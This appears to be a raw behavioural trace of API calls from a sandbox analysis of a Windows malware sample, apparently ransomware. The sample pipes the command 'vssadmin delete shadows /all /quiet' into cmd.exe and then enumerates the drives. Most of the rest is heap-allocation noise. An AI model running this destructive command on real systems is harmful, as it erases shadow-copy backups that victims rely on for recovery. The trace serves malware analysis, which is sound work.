	[0204.572] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5a3de8, Size=0x100) returned 0x5a3de8
	[0204.572] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0204.572] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5a3de8 | out: hHeap=0x560000) returned 1
	[0204.572] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x5c54e8, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0204.572] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5d54f0 | out: hHeap=0x560000) returned 1
	[0204.573] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5c54e8 | out: hHeap=0x560000) returned 1
	[0204.573] CreatePipe (in: hReadPipe=0x19fd50, hWritePipe=0x19fd54, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fd50*=0x248, hWritePipe=0x19fd54*=0x24c) returned 1
	[0204.574] CreatePipe (in: hReadPipe=0x19fdc0, hWritePipe=0x19fdc4, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fdc0*=0x250, hWritePipe=0x19fdc4*=0x254) returned 1
	[0204.574] SetHandleInformation (hObject=0x24c, dwMask=0x1, dwFlags=0x0) returned 1
	[0204.574] SetHandleInformation (hObject=0x250, dwMask=0x1, dwFlags=0x0) returned 1
	[0204.574] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19fd60*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254), lpProcessInformation=0x19fdb0 | out: lpCommandLine=0x0, lpProcessInformation=0x19fdb0*(hProcess=0x25c, hThread=0x258, dwProcessId=0xf60, dwThreadId=0xf64)) returned 1
	[0204.588] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65
	[0204.588] WriteFile (in: hFile=0x24c, lpBuffer=0x5a3d60*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x19fd5c, lpOverlapped=0x0 | out: lpBuffer=0x5a3d60*, lpNumberOfBytesWritten=0x19fd5c*=0x41, lpOverlapped=0x0) returned 1
	[0204.588] CloseHandle (hObject=0x25c) returned 1
	[0204.588] CloseHandle (hObject=0x258) returned 1
	[0204.588] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5a54e0 | out: hHeap=0x560000) returned 1
	[0204.588] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65
	[0204.588] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5a3d60 | out: hHeap=0x560000) returned 1
	[0204.588] lstrlenW (lpString="%comspec%") returned 9
	[0204.588] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x59ddc0 | out: hHeap=0x560000) returned 1
	[0204.588] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x258
	[0204.589] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xc) returned 0x5a2de0
	[0204.589] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x5a2de0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25c
	[0204.589] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x8) returned 0x5a1c88
	[0204.589] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x5a1c88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x264
	[0204.590] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5a2e40
	[0204.590] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5a2e40, Size=0x20) returned 0x59dc30
	[0204.590] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x59dc30, Size=0x40) returned 0x577800
	[0204.590] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26
	[0204.590] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xd0) returned 0x57bb70
	[0204.590] GetLogicalDrives () returned 0x4
	[0204.590] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10014) returned 0x5a54e0
	[0204.590] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5a2e40
	[0204.590] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5a2e40, Size=0x20) returned 0x59dd98
	[0204.590] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x59dd98, Size=0x40) returned 0x577920
	[0204.590] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x577920, Size=0x80) returned 0x5a3d60
	[0204.590] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5a3d60, Size=0x100) returned 0x5a3e78
	[0204.590] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5a3e78, Size=0x200) returned 0x5a3e78
	[0204.590] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5a3e78, Size=0x400) returned 0x5b5500
	[0204.590] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5b5500, Size=0x800) returned 0x5b5500
	[0204.590] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5b5500, Size=0x1000) returned 0x5b5500
	[0204.590] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5b6508
	[0204.590] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5a2e40
	[0204.590] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xc) returned 0x5a2b58
	[0204.591] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x4) returned 0x5a1c08
	[0204.591] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xc) returned 0x5a2d80
	[0204.591] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x4) returned 0x5a1c18
	[0204.591] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5a2c78
	[0204.591] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5a1c18, Size=0x8) returned 0x5a1d08
	[0204.591] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5a2b28
	[0204.591] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5a1d08, Size=0x10) returned 0x5a2c18
	[0204.591] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5a2c30
	[0204.591] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5a2c48
	[0204.591] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5a2c18, Size=0x20) returned 0x59dd20
	[0204.591] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5a2b88
	[0204.591] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x8) returned 0x5a1d58
	[0204.591] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xe) returned 0x5a2b70
	[0204.591] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xe) returned 0x5a2c00
	[0204.591] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x59dd20, Size=0x40) returned 0x577c80
	[0204.591] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xe) returned 0x5a2b40
	[0204.591] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xe) returned 0x5a2be8
	[0204.591] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xe) returned 0x5a2ac8
	[0204.591] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xe) returned 0x5a2ca8
	[0204.591] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5a2cc0
	[0204.591] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5a2b10
	[0204.591] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x8) returned 0x5a1c18
	[0204.591] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5a2cd8
	[0204.591] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x577c80, Size=0x80) returned 0x5a3d60
	[0204.591] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5a2cf0
	[0204.591] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5a2d08
	[0204.591] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5a2d20
	[0204.591] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5a2c18
	[0204.591] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5a2d38
	[0204.591] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xc) returned 0x5a2ae0
	[0204.591] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5a2d98
	[0204.591] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x8) returned 0x5a1db8
	[0204.591] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5a2bd0
	[0204.591] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5a2ab0
	[0204.591] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xc) returned 0x5a2ba0
	[0204.591] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5a2d50
	[0204.591] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xc) returned 0x5a2bb8
	[0204.591] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5a2d68
	[0204.592] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xc) returned 0x5c6690
	[0204.592] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6720
	[0204.592] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5a3d60, Size=0x100) returned 0x5a3e78
	[0204.592] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c65e8
	[0204.592] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6600
	[0204.592] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6738
	[0204.592] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5c6750
	[0204.592] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6570
	[0204.592] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c65d0
	[0204.592] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x8) returned 0x5a1ca8
	[0204.592] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c66a8
	[0204.592] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c66f0
	[0204.592] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6810
	[0204.592] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x6) returned 0x5a1da8
	[0204.592] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c66c0
	[0204.592] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c67f8
	[0204.592] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x8) returned 0x5a1d08
	[0204.592] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6588
	[0204.592] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c67b0
	[0204.592] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xc) returned 0x5c66d8
	[0204.592] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6828
	[0204.592] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6708
	[0204.592] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6540
	[0204.592] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xe) returned 0x5c6630
	[0204.592] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6768
	[0204.592] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5c65a0
	[0204.592] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c65b8
	[0204.593] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6618
	[0204.593] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6648
	[0204.593] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6660
	[0204.593] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x8) returned 0x5a1c38
	[0204.593] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6780
	[0204.593] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6798
	[0204.593] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6678
	[0204.593] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6558
	[0204.593] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5a3e78, Size=0x200) returned 0x5a3e78
	[0204.593] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c67c8
	[0204.593] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x8) returned 0x5a1cb8
	[0204.593] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c67e0
	[0204.593] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c68a0
	[0204.593] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6b10
	[0204.593] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6a98
	[0204.593] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6ae0
	[0204.593] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6af8
	[0204.593] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6ab0
	[0204.593] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c68e8
	[0204.593] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c68d0
	[0204.593] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xc) returned 0x5c6858
	[0204.593] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xc) returned 0x5c6870
	[0204.593] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6b28
	[0204.593] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6840
	[0204.593] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xc) returned 0x5c6888
	[0204.593] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xc) returned 0x5c6960
	[0204.593] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c69d8
	[0204.593] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xc) returned 0x5c68b8
	[0204.593] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xc) returned 0x5c6900
	[0204.593] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6ac8
	[0204.593] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6918
	[0204.593] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6930
	[0204.593] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x8) returned 0x5a1c28
	[0204.593] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6a20
	[0204.593] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6990
	[0204.593] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6a38
	[0204.594] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x8) returned 0x5a1d78
	[0204.594] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6978
	[0204.594] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xc) returned 0x5c6948
	[0204.594] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c69f0
	[0204.594] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c69a8
	[0204.594] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c69c0
	[0204.594] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6a08
	[0204.594] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6a50
	[0204.594] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6a68
	[0204.594] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xc) returned 0x5c6a80
	[0204.594] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xc) returned 0x5c6be8
	[0204.594] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6b58
	[0204.594] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6ba0
	[0204.594] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6c90
	[0204.594] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xc) returned 0x5c6ca8
	[0204.594] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6cd8
	[0204.594] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6b70
	[0204.594] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6c30
	[0204.594] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6b88
	[0204.594] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6cc0
	[0204.594] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6bb8
	[0204.594] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6bd0
	[0204.594] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x8) returned 0x5a1dc8
	[0204.594] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x6) returned 0x5a1c98
	[0204.594] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6c00
	[0204.594] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6cf0
	[0204.594] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6c78
	[0204.594] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6c18
	[0204.594] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6c48
	[0204.594] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xc) returned 0x5c6b40
	[0204.594] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6c60
	[0204.594] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c7048
	[0204.594] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c7240
	[0204.594] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c72e8
	[0204.594] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xc) returned 0x5c70d8
	[0204.595] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c7228
	[0204.595] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c7258
	[0204.595] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5a3e78, Size=0x400) returned 0x5c7920
	[0204.595] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c70a8
	[0204.595] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c71c8
	[0204.595] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xc) returned 0x5c7108
	[0204.595] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c70f0
	[0204.595] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c7078
	[0204.595] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c7300
	[0204.595] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xc) returned 0x5c7270
	[0204.595] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c7138
	[0204.595] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c7288
	[0204.595] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c7120
	[0204.595] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x8) returned 0x5a1d18
	[0204.595] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c7318
	[0204.595] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xc) returned 0x5c72a0
	[0204.595] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c72d0
	[0204.595] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c7150
	[0204.595] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c7210
	[0204.595] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c71b0
	[0204.595] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xe) returned 0x5c7060
	[0204.595] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c7330
	[0204.595] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c7168
	[0204.595] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c7180
	[0204.595] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c71e0
	[0204.595] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c72b8
	[0204.595] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c7090
	[0204.595] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c70c0
	[0204.595] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c71f8
	[0204.595] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x8) returned 0x5a1c48
	[0204.595] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c7198
	[0204.595] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c7408
	[0204.595] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c73f0
	[0204.595] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c74e0
	[0204.595] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c7348
	[0204.596] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c7450
	[0204.596] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c7360
	[0204.596] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c7468
	[0204.596] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c7420
	[0204.596] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xe) returned 0x5c7480
	[0204.596] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c7498
	[0204.596] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xe) returned 0x5c74f8
	[0204.596] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c74b0
	[0204.596] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c7378
	[0204.596] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c7438
	[0204.596] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c74c8
	[0204.596] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c7390
	[0204.596] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xc) returned 0x5c73a8
	[0204.596] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c73c0
	[0204.596] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c73d8
	[0204.596] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c7030
	[0204.596] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6ee0
	[0204.596] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6dd8
	[0204.596] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6dc0
	[0204.596] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6df0
	[0204.596] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6fb8
	[0204.596] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6d60
	[0204.596] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6e68
	[0204.596] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6e38
	[0204.596] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6e98
	[0204.596] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6ef8
	[0204.596] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6e08
	[0204.596] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6f88
	[0204.596] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6d48
	[0204.596] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6d78
	[0204.596] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5c6e80
	[0204.596] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x12) returned 0x576578
	[0204.596] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6d90
	[0204.596] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6f10
	[0204.597] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6e50
	[0204.597] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xa) returned 0x5c6fa0
